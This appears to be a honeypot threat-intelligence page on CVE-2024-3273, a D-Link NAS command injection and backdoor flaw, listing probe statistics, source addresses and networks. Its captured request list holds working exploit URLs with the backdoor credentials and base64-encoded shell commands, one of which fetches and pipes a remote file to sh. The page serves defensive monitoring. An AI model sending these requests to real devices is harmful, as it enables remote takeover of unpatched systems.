HoneyLabs
KEV
LookupKEVMCP
Data
The datasetDataset and methodCVEsCampaignsPayloadsPre-disclosureEmissions IndexPortsBlog
Integrations
OverviewFeeds
PricingDocs

CVE-2024-3273: D-Link Network Attached Storage - Command Injection and Backdoor Account

HoneyLabs honeypots recorded 214 probes matching CVE-2024-3273 from 13 distinct source IP addresses in the last 7 days, of which 214 on interactive sensors. Severity is rated critical.

This CVE is on CISA's Known Exploited Vulnerabilities list. CISA added it on 2024-04-11.

13 sources probed for CVE-2024-3273 on the interactive sensors, and all of them sent the exploit payload. 2 of them are recognised scanners.

What the sensors show

Probes arrived on every day of the 7-day window. The busiest day was 2026-11-12, with 43. One address, 94.183.174.99, sent 82% of them. The largest source network was AS51396 (Pfcloud UG (haftungsbeschrankt)), with 82% of the probes from 1 address. It is still being probed 2 years after CISA added it to the Known Exploited Vulnerabilities list. Over the last 90 days the sensors recorded 303 probes for it.

Request paths that identify it

  • /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=

Addresses probing it

Source IPProbesNetworkCountry
94.183.174.99175Pfcloud UG (haftungsbeschrankt)United Arab Emirates
16.106.57.1357Amazon.com, Inc.Hong Kong
18.163.242.1097Amazon.com, Inc.Hong Kong
18.166.233.1317Amazon.com, Inc.Hong Kong
118.194.248.44UCLOUD INFORMATION TECHNOLOGY (HK) LIMITED · recognised scanner: QuakeSouth Korea
150.107.38.404UCLOUD INFORMATION TECHNOLOGY (HK) LIMITED · recognised scanner: QuakeHong Kong
134.199.174.1922DigitalOcean, LLCAustralia
31.57.243.1692Latitude.sh LTDAUnited States

Networks it comes from

ASNOrganisationProbesSource IPs
AS51396Pfcloud UG (haftungsbeschrankt)1751
AS16509Amazon.com, Inc.213
AS135377UCLOUD INFORMATION TECHNOLOGY (HK) LIMITED82
AS14061DigitalOcean, LLC43
AS199524G-Core Labs S.A.21
AS262287Latitude.sh LTDA21

Where it comes from

CountryProbes
United Arab Emirates176
Hong Kong27
South Korea4
United States3
Australia2
Russia1

Requests the interactive sensors answered

  • GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=d2dldAlodHRwOi8vMTYwLjExOS43MS4yNy9uMi9ib3gJLU8tfHNo
  • GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=Y29tbWFuZCAtdiBzZXRzaWQgPi9kZXYvbnVsbCAyPiYxICYmIGVjaG8gSEFTX1NFVFNJRCB8fCBlY2hvIE5PX1NFVFNJRA%3D%3D
  • GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=ZWNobyBOWENIS19PSw%3D%3D
  • GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=ZWNobyBkR1Z6ZEE9PXxiYXNlNjQgLWQ%3D

HTTP client fingerprints

  • b11cun030_00040011_c91eaf54
  • b11cun010_00040000_c4b2c4aa
  • b11cun050_0004001e_00ecc3a8
  • b11cun060_0004001f_307e46c7

CVE report

Open a specific CVE from the CVE tracker.